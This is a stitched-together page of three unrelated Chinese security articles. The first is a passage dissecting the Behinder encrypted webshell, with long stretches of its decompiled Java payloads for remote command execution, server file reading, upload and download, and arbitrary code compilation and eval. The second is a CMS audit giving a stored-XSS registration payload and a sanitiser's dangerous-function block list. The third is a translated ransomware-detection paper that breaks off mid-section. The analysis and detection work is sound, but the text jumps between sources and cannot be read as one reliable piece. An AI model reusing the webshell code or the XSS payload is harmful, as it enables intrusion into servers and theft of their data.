byte[] bincls;
byte[] encrypedBincls;
if (type.equals("jsp")) {
className = "net.rebeyond.behinder.payload.java." + className;
bincls = Params.getParamedClass(className, params);
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.Encrypt(bincls, key);
String basedEncryBincls = Base64.encode(encrypedBincls);
return basedEncryBincls.getBytes();
跟进这个Cmd类，入口还是equais方法，在equals里的核心就是这个RunCMD方法，接收传入的cmd，判断是windows还是linux，然后执行命令并返回命令执行结果
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
this.Session = page.getSession();
this.Response = page.getResponse();
this.Request = page.getRequest();
page.getResponse().setCharacterEncoding("UTF-8");
HashMap result = new HashMap();
try {
result.put("msg", this.RunCMD(cmd));
result.put("status", "success");
} catch (Exception var13) {
result.put("msg", var13.getMessage());
result.put("status", "success");
} finally {
try {
ServletOutputStream so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
page.getOut().clear();
} catch (Exception var12) {
var12.printStackTrace();
}
}
return true;
}
private String RunCMD(String cmd) throws Exception {
Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
String result = "";
if (cmd != null && cmd.length() > 0) {
Process p;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
p = Runtime.getRuntime().exec(cmd);
}
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
for(String disr = br.readLine(); disr != null; disr = br.readLine()) {
result = result + disr + "\n";
}
result = new String(result.getBytes(osCharset));
}
return result;
}
将命令执行结果加密base64编码然后返回
try {
ServletOutputStream so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
page.getOut().clear();
} catch (Exception var12) {
var12.printStackTrace();
}
ShellService.runCmd方法解密数据并返回
public JSONObject runCmd(String cmd) throws Exception {
Map<String, String> params = new LinkedHashMap();
params.put("cmd", cmd);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Cmd", params, this.currentType);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
JSONObject result = new JSONObject(resultTxt);
Iterator var9 = result.keySet().iterator();
while(var9.hasNext()) {
String key = (String)var9.next();
result.put(key, new String(Base64.decode(result.getString(key)), "UTF-8"));
}
return result;
}
CmdUtil显示返回数据
try {
int lines = cmdView.getText().split("\n").length;
String lastLine = cmdView.getText().split("\n")[lines - 1];
String cmd = lastLine.substring(lastLine.indexOf(pwd) + pwd.length());
JSONObject resultObj = this.currentShellService.runCmd(cmd);
if (resultObj.getString("status").equals("success")) {
cmdView.insert("\n" + resultObj.getString("msg") + "\n");
cmdView.insert(pwd);
this.statusLabel.setText("命令执行完成");
this.currentPos = cmdView.getCaretPosition();
} else {
cmdView.insert("\n" + resultObj.getString("msg") + "\n");
cmdView.insert(pwd);
this.statusLabel.setText("命令执行失败:" + resultObj.getString("msg"));
}
e.doit = false;
} catch (Exception var10) {
e.doit = false;
var10.printStackTrace();
this.statusLabel.setText(var10.getMessage());
var10.printStackTrace();
}
命令执行完成
# 0x06 文件管理 FileOperation
文件管理的过程其实也是和上面getBasicInfo和runCmd的过程类似，整个代码执行的过程在net.rebeyond.behinder.ui.FileManagerUtils，在这个类里面定义了listFile，downloadFile，deleteFile，openFile，showFile，saveFile，uploadFile等常用操作，但是FileManagerUtils只负责界面部分，逻辑部分则调用ShellService的相应方法来实现。
ShellService里面对于文件管理定义了listFiles，deleteFile，showFile，doanloadFile，uploadFile，appendFile等方法，在这些方法里面代码逻辑也是比较相似，调用Utils.getData和Utils.requestAndParse来获取要发送到服务端执行的payload的加密和base64编码的class字节数组，并通过requestAndParse发送和获取返回的执行结果，所以核心部分还是在net.rebeyond.behinder.payload.java.FileOperation类里面。
net.rebeyond.behinder.payload.java.FileOperation执行payload的入口是equals方法，并通过mode这个静态公有变量来判断用户在客户端执行的操作和调用相应的方法，list，show，delete，create，append，doawload等。
try {
if (mode.equalsIgnoreCase("list")) {
((Map)result).put("msg", this.list(page));
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("show")) {
((Map)result).put("msg", this.show(page));
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("delete")) {
result = this.delete(page);
} else if (mode.equalsIgnoreCase("create")) {
((Map)result).put("msg", this.create(page));
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("createDir")) {
this.createDir(page);
} else if (mode.equalsIgnoreCase("append")) {
((Map)result).put("msg", this.append(page));
((Map)result).put("status", "success");
} else if (mode.equalsIgnoreCase("download")) {
this.download(page);
return true;
}
} catch (Exception var6) {
((Map)result).put("msg", var6.getMessage());
((Map)result).put("status", "fail");
}
list方法，列出指定路径下的文件，判断path是目录还是文件，是目录的那就遍历目录下的文件并获取每个文件的基本信息，包括文件类型，文件名，文件大小，文件读写执行的权限和上次修改的时间，文件的那就直接获取文件的基本信息。
private String list(PageContext page) throws Exception {
String result = "";
File f = new File(path);
List<Map<String, String>> objArr = new ArrayList();
if (f.isDirectory()) {
File[] var8;
int var7 = (var8 = f.listFiles()).length;
for(int var6 = 0; var6 < var7; ++var6) {
File temp = var8[var6];
Map<String, String> obj = new HashMap();
obj.put("type", temp.isDirectory() ? "directory" : "file");
obj.put("name", temp.getName());
obj.put("size", String.valueOf(temp.length()));
obj.put("perm", temp.canRead() + "," + temp.canWrite() + "," + temp.canExecute());
obj.put("lastModified", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(temp.lastModified())));
objArr.add(obj);
}
} else {
Map<String, String> obj = new HashMap();
obj.put("type", f.isDirectory() ? "directory" : "file");
obj.put("name", new String(f.getName().getBytes(this.osCharset), "GBK"));
obj.put("size", String.valueOf(f.length()));
obj.put("lastModified", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(f.lastModified())));
objArr.add(obj);
}
result = this.buildJsonArray(objArr, true);
return result;
}
create方法，创建文件，在ShellService里upload方法就是调用create方法来上传文件。这里也比较常规，就是接收要写入的内容并打开输出流，将内容输出到文件，这里要注意接收回来的数据是经过了base64编码，所以要先进行base64解码再输出到文件。
private String create(PageContext page) throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path);
fso.write((new BASE64Decoder()).decodeBuffer(content));
fso.flush();
fso.close();
result = path + "上传完成，远程文件大小:" + (new File(path)).length();
return result;
}
doanload方法，show方法也比较简单，doanload方法打开一个FileInputStream，show打开一个InputStreamReader，然后通过while循环读取文件内容并返回给客户端
private void download(PageContext page) throws Exception {
FileInputStream fis = new FileInputStream(path);
byte[] buffer = new byte[1024000];
int length = false;
ServletOutputStream sos = page.getResponse().getOutputStream();
int length;
while((length = fis.read(buffer)) > 0) {
sos.write(Arrays.copyOfRange(buffer, 0, length));
}
sos.flush();
sos.close();
fis.close();
}
private String show(PageContext page) throws Exception {
if (charset == null) {
charset = System.getProperty("file.encoding");
}
StringBuffer sb = new StringBuffer();
File f = new File(path);
if (f.exists() && f.isFile()) {
InputStreamReader isr = new InputStreamReader(new FileInputStream(f), charset);
BufferedReader br = new BufferedReader(isr);
String str = null;
while((str = br.readLine()) != null) {
sb.append(str + "\n");
}
br.close();
isr.close();
}
return sb.toString();
}
上面的文件操作方法比较简单也比较常规。完成了以上操作之后，就将执行结果base64编码并转换成json格式，然后用之前连接的时候协商的密匙进行aes加密并将密文返回给客户端。
try {
ServletOutputStream so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.flush();
so.close();
page.getOut().clear();
} catch (Exception var5) {
var5.printStackTrace();
}
return true;
客户端接收到返回的结果之后Shellservice再解密，解析json格式字符串，base64解码并返回到FileManagerUtils，然后FileManagerUtils再在界面上显示出明文信息。至此，FileManagerUtils部分结束。整个逻辑也是比较简单的，常规的。
其实在密匙协商和连接建立之后的getBasicInfo或者runCmd理解了之后，可以发现后面的FileManagerUtil，以及其它的功能比如DBManager，ConnectBack都是类似的逻辑，XXXUtils（DBManagerUtils，ConnectBackUtils）调用ShellService对应的方法，然后调用Utils.getData和Utils.requestAndParse方法获取要发送到服务端执行的payload的加密base64编码的class字节数组并将服务端执行后的返回结果返回给XXXUtils，XXXUtils在再根据结果进行相应处理。但是下面这个eval执行自定义代码却有点不一样，我们一起来看一下。
# 0x07 自定义代码执行 eval
EvalUtils的execute方法调用ShellService的eval方法，eval方法先调用Utils.getClassFromSourceCode将执行的代码转换成为class字节数组，然后就和上面的有一点不同，不调用熟悉的getData，而是调用getEvalData，然后再调用requestAndParse。
public String eval(String sourceCode) throws Exception {
String result = null;
byte[] payload = null;
byte[] payload;
if (this.currentType.equals("jsp")) {
payload = Utils.getClassFromSourceCode(sourceCode);
} else {
payload = sourceCode.getBytes();
}
byte[] data = Utils.getEvalData(this.currentKey, this.encryptType, this.currentType, payload);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
result = new String(resData);
return result;
}
在getEvalData里面，对传进来的class字节数组加密和base64编码，然后再返回给ShellService.eval方法，然后再requestAndParse，所以其实getClassFromSourceCode和getEvalData可以理解成就是一个getData，只是获取payload的class字节数组的方式不同。
public static byte[] getEvalData(String key, int encryptType, String type, byte[] payload) throws Exception {
byte[] result = null;
byte[] encrypedBincls;
if (type.equals("jsp")) {
encrypedBincls = Crypt.Encrypt(payload, key);
String basedEncryBincls = Base64.encode(encrypedBincls);
result = basedEncryBincls.getBytes();
} else if (type.equals("php")) {
encrypedBincls = ("assert|eval(base64_decode('" + Base64.encode(payload) + "'));").getBytes();
byte[] encrypedBincls = Crypt.EncryptForPhp(encrypedBincls, key, encryptType);
result = Base64.encode(encrypedBincls).getBytes();
} else if (type.equals("aspx")) {
Map<String, String> params = new LinkedHashMap();
params.put("code", new String(payload));
result = getData(key, encryptType, "Eval", params, type);
} else if (type.equals("asp")) {
encrypedBincls = Crypt.EncryptForAsp(payload, key);
result = encrypedBincls;
}
return result;
}
public static byte[] getClassFromSourceCode(String sourceCode) throws Exception {
return Run.getClassFromSourceCode(sourceCode);
}
作者在ShellService里面调用的是Utils.getClassFromSource方法然后再调用Run的getClassFromSourceCode方法，而不是调用Utils.getData的方法来获取class字节数组。其实这里细心的话就可以发现，如果是采用前面Utils.getData的方式来获取的话，payload是已经在代码里面写好了，只需要传入参数，而现在的问题就在于payload是由使用者在客户端来编写的，而不是简单的传个参数就可以，所以这里才使用了Run.getClassFromSourceCode这种方式来获取payload的class字节数组而不是采用Utils.getData来获取payload的class字节数组。
net.rebeyond.behinder.utils.jc.Run.getClassFromSourceCode方法
public static byte[] getClassFromSourceCode(String sourceCode) throws Exception {
byte[] classBytes = null;
Pattern CLASS_PATTERN = Pattern.compile("class\\s+([$_a-zA-Z][$_a-zA-Z0-9]*)\\s*");
Matcher matcher = CLASS_PATTERN.matcher(sourceCode);
if (matcher.find()) {
String cls = matcher.group(1);
JavaCompiler jc = ToolProvider.getSystemJavaCompiler();
if (jc == null) {
throw new Exception("本地机器上没有找到编译环境，请确认:1.是否安装了JDK环境;2." + System.getProperty("java.home") + File.separator + "lib目录下是否有tools.jar.");
} else {
StandardJavaFileManager standardJavaFileManager = jc.getStandardFileManager((DiagnosticListener)null, (Locale)null, (Charset)null);
JavaFileManager fileManager = new CustomClassloaderJavaFileManager(Run.class.getClassLoader(), standardJavaFileManager);
JavaFileObject javaFileObject = new MyJavaFileObject(cls, sourceCode);
List<String> options = new ArrayList();
options.add("-source");
options.add("1.6");
options.add("-target");
options.add("1.6");
DiagnosticCollector<JavaFileObject> collector = new DiagnosticCollector();
CompilationTask cTask = jc.getTask((Writer)null, fileManager, collector, options, (Iterable)null, Arrays.asList(javaFileObject));
boolean result = cTask.call();
if (!result) {
List<Diagnostic<? extends JavaFileObject>> diagnostics = collector.getDiagnostics();
Iterator var15 = diagnostics.iterator();
if (var15.hasNext()) {
Diagnostic<? extends JavaFileObject> diagnostic = (Diagnostic)var15.next();
throw new Exception(diagnostic.getMessage((Locale)null));
}
}
JavaFileObject fileObject = (JavaFileObject)CustomClassloaderJavaFileManager.fileObjects.get(cls);
if (fileObject != null) {
classBytes = ((MyJavaFileObject)fileObject).getCompiledBytes();
}
return classBytes;
}
} else {
throw new IllegalArgumentException("No such class name in " + sourceCode);
}
}
}
# 0x08 总结
其实理解冰蝎整个编写思路并不难，里面的功能（获取服务器基本信息，执行系统命令，文件管理，数据库管理，反弹meterpreter，执行自定义代码等）大致的过程都比较类似。都是在对应的XXXUtils里面调用ShellService的各个对应方法，然后ShellService里面又调用Utils的getData来获取要执行的payload的加密字节数组，在Utils.requestAndParse里发送加密和base64编码的字节数组和接收返回结果，再将返回结果交给ShellService和XXXUtils进行处理。最核心的部分还是在密匙协商那部分，BasicInfoUtils.getBasicInfo->ShellService构造方法->Utils.getKeyAndCookie，这部分也是waf，ids，ips在检测冰蝎的时候最关注的部分，只要密匙协商和连接成功建立，waf，ids等流量安全设备基本上就面对加密的数据束手无策。大家进行分析的时候，可以由这部分开始进行分析，这部分明朗了之后后面的分析基本上就会水到渠成。
参开链接：
<https://xz.aliyun.com/t/2744> 利用动态二进制加密实现新型一句话木马之Java篇 冰蝎 | 社区文章 |
审计迅睿cms，发现了两个XSS，分享一下
#### 网站介绍
迅睿CMS是采用PHP7技术全新开发的产品，程序只能运行在PHP7的环境之上
迅睿CMS在原有FineCMS的基础上进行优化结构和吸取编程经验，采用国外CodeIgniter4框架。
#### 建站
本地起phpstudy安装[迅睿cms](https://www.xunruicms.com)
后台路径：/admin.php
后台密码：admin admin
后台开启注册
#### 漏洞测试
进入注册界面，构造如图所示数据
账号:" onclick="alert(1)"
密码:test
登录后台查看用户
可以看到有这个用户，当点击时触发代码
查看源代码
查看数据库，已经插入到了数据库中
#### 代码审计
查看注册处代码(碍于篇幅仅放了关键代码)
......
$post = \Phpcmf\Service::L('input')->post('data', true);
...... # 进行格式之类的验证
# 表单验证
list($data, $return, $attach) = \Phpcmf\Service::L('Form')->validation($post, null, $field);
......
$rt = \Phpcmf\Service::M('member')->register($groupid, [
'username' => (string)$post['username'],
'phone' => (string)$post['phone'],
'email' => (string)$post['email'],
'password' => dr_safe_password($post['password']),
], $data[1]);
if ($rt['code']) {
// 注册成功
$this->member = $rt['data'];
$remember = 0;
// 保存本地会话
\Phpcmf\Service::M('member')->save_cookie($this->member, $remember);
// 附件归档
SYS_ATTACHMENT_DB && $attach && \Phpcmf\Service::M('Attachment')->handle(
$this->member['id'],
\Phpcmf\Service::M()->dbprefix('member').'-'.$rt['code'],
$attach
);
// 手机认证成功
if ($this->member_cache['register']['sms']) {
\Phpcmf\Service::M()->db->table('member_data')->where('id', $this->member['id'])->update(['is_mobile' => 1]);
}
$this->_json(1, 'ok', [
'url' => urldecode(\Phpcmf\Service::L('input')->xss_clean($_POST['back'] ? $_POST['back'] : MEMBER_URL)),
'sso' => \Phpcmf\Service::M('member')->sso($this->member, $remember),
'member' => $this->member,
]);
} else {
$this->_json(0, $rt['msg'], ['field' => $rt['data']['field']]);
}
``
跟踪post方法
// post解析
public function post($name, $xss = true) {
$value = isset($_POST[$name]) ? $_POST[$name] : false;
return $xss ? $this->xss_clean($value) : $value;
}
传入的data数据，其实就是获取的username，password和password2
一路跟踪xss_clean函数(代码很长)
public function xss_clean($str, $is_image = FALSE)
{
if (is_numeric($str)) {
return $str;
} elseif (!$str) {
return '';
}
// Is the string an array?
if (is_array($str))
{
foreach ($str as $key => &$value)
{
$str[$key] = $this->xss_clean($value);
}
return $str;
}
// Remove Invisible Characters
$str = remove_invisible_characters($str);
/*
* URL Decode
*
* Just in case stuff like this is submitted:
*
* <a href="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">Google</a>
*
* Note: Use rawurldecode() so it does not remove plus signs
*/
if (stripos($str, '%') !== false)
{
do
{
$oldstr = $str;
$str = rawurldecode($str);
$str = preg_replace_callback('#%(?:\s*[0-9a-f]){2,}#i', array($this, '_urldecodespaces'), $str);
}
while ($oldstr !== $str);
unset($oldstr);
}
/*
* Convert character entities to ASCII
*
* This permits our tests below to work reliably.
* We only convert entities that are within tags since
* these are the ones that will pose security problems.
*/
$str = preg_replace_callback("/[^a-z0-9>]+[a-z0-9]+=([\'\"]).*?\\1/si", array($this, '_convert_attribute'), $str);
$str = preg_replace_callback('/<\w+.*/si', array($this, '_decode_entity'), $str);
// Remove Invisible Characters Again!
$str = remove_invisible_characters($str);
/*
* Convert all tabs to spaces
*
* This prevents strings like this: ja vascript
* NOTE: we deal with spaces between characters later.
* NOTE: preg_replace was found to be amazingly slow here on
* large blocks of data, so we use str_replace.
*/
$str = str_replace("\t", ' ', $str);
// Capture converted string for later comparison
$converted_string = $str;
// Remove Strings that are never allowed
$str = $this->_do_never_allowed($str);
/*
* Makes PHP tags safe
*
* Note: XML tags are inadvertently replaced too:
*
* <?xml
*
* But it doesn't seem to pose a problem.
*/
if ($is_image === TRUE)
{
// Images have a tendency to have the PHP short opening and
// closing tags every so often so we skip those and only
// do the long opening tags.
$str = preg_replace('/<\?(php)/i', '<?\\1', $str);
}
else
{
$str = str_replace(array('<?', '?'.'>'), array('<?', '?>'), $str);
}
/*
* Compact any exploded words
*
* This corrects words like: j a v a s c r i p t
* These words are compacted back to their correct state.
*/
$words = array(
'javascript', 'expression', 'vbscript', 'jscript', 'wscript',
'vbs', 'script', 'base64', 'applet', 'alert', 'document',
'write', 'cookie', 'window', 'confirm', 'prompt', 'eval'
);
foreach ($words as $word)
{
$word = implode('\s*', str_split($word)).'\s*';
// We only want to do this when it is followed by a non-word character
// That way valid stuff like "dealer to" does not become "dealerto"
$str = preg_replace_callback('#('.substr($word, 0, -3).')(\W)#is', array($this, '_compact_exploded_words'), $str);
}
/*
* Remove disallowed Javascript in links or img tags
* We used to do some version comparisons and use of stripos(),
* but it is dog slow compared to these simplified non-capturing
* preg_match(), especially if the pattern exists in the string
*
* Note: It was reported that not only space characters, but all in
* the following pattern can be parsed as separators between a tag name
* and its attributes: [\d\s"\'`;,\/\=\(\x00\x0B\x09\x0C]
* ... however, remove_invisible_characters() above already strips the
* hex-encoded ones, so we'll skip them below.
*/
do
{
$original = $str;
if (preg_match('/<a/i', $str))
{
$str = preg_replace_callback('#<a(?:rea)?[^a-z0-9>]+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
}
if (preg_match('/<img/i', $str))
{
$str = preg_replace_callback('#<img[^a-z0-9]+([^>]*?)(?:\s?/?>|$)#si', array($this, '_js_img_removal'), $str);
}
if (preg_match('/script|xss/i', $str))
{
$str = preg_replace('#</*(?:script|xss).*?>#si', '[removed]', $str);
}
}
while ($original !== $str);
unset($original);
/*
* Sanitize naughty HTML elements
*
* If a tag containing any of the words in the list
* below is found, the tag gets converted to entities.
*
* So this: <blink>
* Becomes: <blink>
*/
$pattern = '#'
.'<((?<slash>/*\s*)((?<tagName>[a-z0-9]+)(?=[^a-z0-9]|$)|.+)' // tag start and name, followed by a non-tag character
.'[^\s\042\047a-z0-9>/=]*' // a valid attribute character immediately after the tag would count as a separator
// optional attributes
.'(?<attributes>(?:[\s\042\047/=]*' // non-attribute characters, excluding > (tag close) for obvious reasons
.'[^\s\042\047>/=]+' // attribute characters
// optional attribute-value
.'(?:\s*=' // attribute-value separator
.'(?:[^\s\042\047=><`]+|\s*\042[^\042]*\042|\s*\047[^\047]*\047|\s*(?U:[^\s\042\047=><`]*))' // single, double or non-quoted value
.')?' // end optional attribute-value group
.')*)' // end optional attributes group
.'[^>]*)(?<closeTag>\>)?#isS';
// Note: It would be nice to optimize this for speed, BUT
// only matching the naughty elements here results in
// false positives and in turn - vulnerabilities!
do
{
$old_str = $str;
$str = preg_replace_callback($pattern, array($this, '_sanitize_naughty_html'), $str);
}
while ($old_str !== $str);
unset($old_str);
/*
* Sanitize naughty scripting elements
*
* Similar to above, only instead of looking for
* tags it looks for PHP and JavaScript commands
* that are disallowed. Rather than removing the
* code, it simply converts the parenthesis to entities
* rendering the code un-executable.
*
* For example: eval('some code')
* Becomes: eval('some code')
*/
$str = preg_replace(
'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
'\\1\\2(\\3)',
$str
);
// Same thing, but for "tag functions" (e.g. eval`some code`)
// See https://github.com/bcit-ci/CodeIgniter/issues/5420
$str = preg_replace(
'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)`(.*?)`#si',
'\\1\\2`\\3`',
$str
);
// Final clean up
// This adds a bit of extra precaution in case
// something got through the above filters
$str = $this->_do_never_allowed($str);
/*
* Images are Handled in a Special Way
* - Essentially, we want to know that after all of the character
* conversion is done whether any unwanted, likely XSS, code was found.
* If not, we return TRUE, as the image is clean.
* However, if the string post-conversion does not matched the
* string post-removal of XSS, then it fails, as there was unwanted XSS
* code found and removed/changed during processing.
*/
if ($is_image === TRUE)
{
return ($str === $converted_string);
}
return $str;
}
，过滤了`/%0[0-8bcef]/`,`'/%1[0-9a-f]/'`,`'/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S'`，对特殊字符进行转义，将`\t`过滤为空，过滤了`<a`,`<img`,`<script|xss`标签，神奇的是下面这串代码
function _compact_exploded_words($matches)
{
return preg_replace('/\s+/s', '', $matches[1]).$matches[2];
}
$words = array(
'javascript', 'expression', 'vbscript', 'jscript', 'wscript',
'vbs', 'script', 'base64', 'applet', 'alert', 'document',
'write', 'cookie', 'window', 'confirm', 'prompt', 'eval'
);
foreach ($words as $word)
{
$word = implode('\s*', str_split($word)).'\s*';
$str = preg_replace_callback('#('.substr($word, 0, -3).')(\W)#is', '_compact_exploded_words', $str);
}
乍一看像是过滤了XSS的关键字，事实上它只是过滤了关键字中的空白符，类似于这种`a l e r
t(1)`，会被过滤为`alert(1)`，但对关键字并没有任何过滤
下面才是针对关键字做的过滤，理论上是配合上面的空白符删除配合使用的
#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)`(.*?)`#si
匪夷所思的是代码要求关键字后必须跟两个反引号，即`alert`1``会被过滤，但普通的`alert(1)`反而只是进行了html实体转换，而onclick中的代码是被当做JavaScript代码执行的，即使符号被转义也可以执行
继续往下
下面的验证字段参数为除了`$post`变量外，其他为空值，相当于没有验证，略过
继续向下
跟踪register方法
......
$member['name'] = !$member['name'] ? '' : dr_strcut($member['name'], intval(\Phpcmf\Service::C()->member_cache['register']['cutname']), '');
$member['salt'] = substr(md5(rand(0, 999)), 0, 10); // 随机10位密码加密码
$member['password'] = $member['password'] ? md5(md5($member['password']).$member['salt'].md5($member['password'])) : '';
$member['money'] = 0;
$member['freeze'] = 0; $member['spend'] = 0;
$member['score'] = 0;
$member['experience'] = 0; $member['regip'] = (string)\Phpcmf\Service::L('input')->ip_address();
$member['regtime'] = SYS_TIME;
$member['randcode'] = rand(100000, 999999);
!$member['username'] && $member['username'] = '';
$rt = $this->table('member')->insert($member);
......
由于根本不存在name字段，因此直接将数据插入到表中，插入途中也没有任何过滤
可以直接闭合双引号插入XSS代码
需要注意的是该账号只能登录一次，即退出后再次登录会提示该用户不存在，应该是因为闭合了某个标签，具体原因并未深入分析
#### 另外一个存储型XSS
除了注册有一个，在登录时还有一个存储型XSS，不过它并不能在后台中起作用，只能在用户的个人界面，因此不再分析，只贴出来供各位表哥了解一下
注册一个test用户
##### 漏洞测试
登录时抓包并将user-agent头修改为如图所示代码
在`账号管理`->`登陆记录`中即可触发代码
以下为效果图
但是这个洞其实并没有实际意义2333，因为在后台，它是这样的
根本没有标签，不过可能会有别的利用方式，，如果有所发现再来更新文章 | 社区文章 |
# 在QQ上检测安卓锁机勒索软件
##### 译文声明
本文是翻译文章，文章原作者 DAN SU, JIQIANG LIU, XIAOYANG WANG, WEI
WANG，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/document/8580446>
译文仅供参考，具体内容表达以及含义原文为准。
近年来，越来越多的锁机勒索软件（Locker-Ransomware）对Android平台以及用户的财产构成了巨大威胁。锁机勒索软件通过强制锁定设备勒索受害者的赎金，更糟糕的是，已经形成了成熟的勒索软件交易链。有效检测锁机勒索软件是一个紧急但至关重要的问题，为了解决这个问题，在本文中提出一种轻量级的自动方法来检测锁机勒索软件。
首先，对锁机勒索软件的交易市场进行了全面调查，并对锁机勒索软件的行为进行了全面分析。其次，为解决代码混淆问题，基于观察到的行为提取了显示文本和后台操作的特征。细粒度的特征是从多个来源提取的，可以从各个方面分析锁机勒索软件。最后，采用四种机器学习算法的集合进行检测，实验结果表明方法优于VirusTotal。以99.98％的检测精度实现最佳性能。
## 0x01 Introduction
勒索软件是一种恶意软件，它通过阻止对设备或数据的访问来勒索用户勒索赎金。通常，勒索软件可分为锁机勒索软件和加密勒索软件。更具体地说，锁机勒索软件通过重置PIN码或弹出全屏窗口来阻止用户与设备的互动。窗口覆盖了屏幕，使用户无法与设备进行交互。只有在受害者付款并输入了密码后，窗口才能消失。
加密勒索软件会加密用户的数据，并要求支付解密费用。锁机勒索软件和加密勒索软件有时会同时出现。应该注意的是，支付赎金并不能保证用户可以获得密码并重新获得对设备的访问权。大多数勒索软件攻击者都是由利润驱动的。为了诱使用户毫不犹豫和怀疑地支付赎金，攻击者转向了心理战术。他们经常为勒索软件配备侮辱性的信息和色情图片。他们对技术和心理学的巧妙使用使勒索软件成为公众的严峻问题。
勒索软件首先出现在计算机上。第一个勒索软件（称为AIDS）是在1980年代后期创建的。它加密文件并要求通过邮件勒索。随着互联网和加密货币的发展，勒索软件已经变得强大起来，具有多种传播和支付方式，在过去几年中造成了巨大损失。
2017年，在感染了150个国家的200,000台计算机并造成40亿美元的经济损失后，WannaCry获得了迄今为止最广泛的勒索软件攻击知名度。
近年来，智能移动设备已受到广泛青睐。作为最受欢迎的移动操作系统，Android以85.9％的全球份额占领了市场。
Android系统的开放性和易于使用的应用程序分发机制吸引了许多攻击者。2014年出现的Sypeng是第一个Android
锁机勒索软件样本。它通过伪造的Adobe Flash更新消息感染了设备。它锁定了屏幕，并弹出一条伪造的FBI消息，要求支付200美元的赎金。
Koler因其自我复制的行为而成为第一个Android勒索软件蠕虫，它会自动将包含该蠕虫的下载链接的消息发送给受感染设备的联系人列表中的每个人。
在2015年，Lockerpin成为第一个能够重置设备PIN码的勒索软件的真实示例，它给受害者配备了锁定的手机屏幕，要求支付500美元的赎金。
2017年，卡巴斯基实验室检测到超过54.4万个移动勒索软件。 McAfee
Lab声称，移动恶意软件作者将目光投向了获利。他们增加了勒索软件功能，以在移动平台上造成新的威胁。显然，针对Android的移动勒索软件已经对Android生态系统和用户的财产构成了巨大威胁。
中国是世界上最大的智能手机市场。 2018年，中国人口的50.37％使用了智能手机。
2017年12月，Android占据了中国移动操作系统市场78％的份额。但是，根据腾讯移动分析，中国用户的系统版本中有42％仍低于Android
6.0。平台早期版本的缺点（例如缺乏灵活的权限管理）使用户面临遭受攻击的高风险。
腾讯开发的QQ是全球最大的在线社区之一，拥有超过8.99亿活跃帐户。它的流行和匿名注册机制使其成为勒索软件交易的热门市场。针对Android的勒索软件的飞速增长，越来越需要能够自动分析和检测它们的有效方法。
有效检测锁机勒索软件的挑战之一是，大多数锁机勒索软件都是使用代码混淆构建的。函数的名称被替换为简单的字母，例如，reset_password()被替换为a()，这增加了分析代码的难度。此外，锁机柜勒索软件通常与shell一起出现。它冒充流行的下载应用程序。安装后，shell程序将立即释放内部的锁机程序勒索软件，以执行恶意行为。在shell的保护下，大量的勒索勒索软件可以逃脱现有的检测方法。
## 0x02 Android Locker-Ransomware
在本节中将描述锁机勒索软件的传播和行为，发现数百个与锁机勒索软件交易相关的QQ群。勒索软件交易已成为成熟的产业链。观察到以下有关Android锁机勒索软件传播和行为的策略。
### A.传播
#### 1）市场
为了逃避法规和提高交易概率，交易环境需要匿名以及交易者进行谈判和付款的便利。
QQ的匿名注册机制及其数字钱包完全符合要求。此外，大量的QQ用户是勒索软件销售商的潜在客户。要出售勒索软件，卖方可以加入现有的QQ群或创建自己的群组。通过搜索关键字可以找到销售勒索软件的QQ群。群成员的数量从几十到上千。对于买家，他们可以付费加入该群，并向所有群成员发送消息以请求勒索软件。值得注意的是，不仅群所有者，而且群中的所有其他成员都可以是卖方。团体是一个开放的市场。经过协商，一种勒索软件的价格通常低于￥10。买方可以通过QQ钱包向卖方付款，卖方将向他发送勒索软件。
在某些群中，群所有者共享勒索软件开发工具，视频教程和源代码。一旦支付了大约￥100的费用，他们还将提供有关如何开发勒索软件的一对一辅导。因此，除了出售勒索软件外，卖方还可以从会费，勒索和辅导费中获利。尽管单价似乎不令人满意，但是由于有大量购买者，利润是诱人的。许多普通人甚至受害者都在从事勒索软件交易，这使得勒索软件市场在社交网络上繁荣起来。交易过程如下图所示。
为了遏制勒索软件的传播，QQ配备了在线防病毒引擎，可以扫描上载的文件并删除已识别的恶意软件。但是，卖方通过将勒索软件压缩为加密的.rar文件并将带有密码的文件发送给买方就可以避免扫描。没有密码，防病毒引擎将无法提取和检测勒索软件。结果，卖方可以轻松地打破防御并共享群文件。
#### 2）开发工具
Android
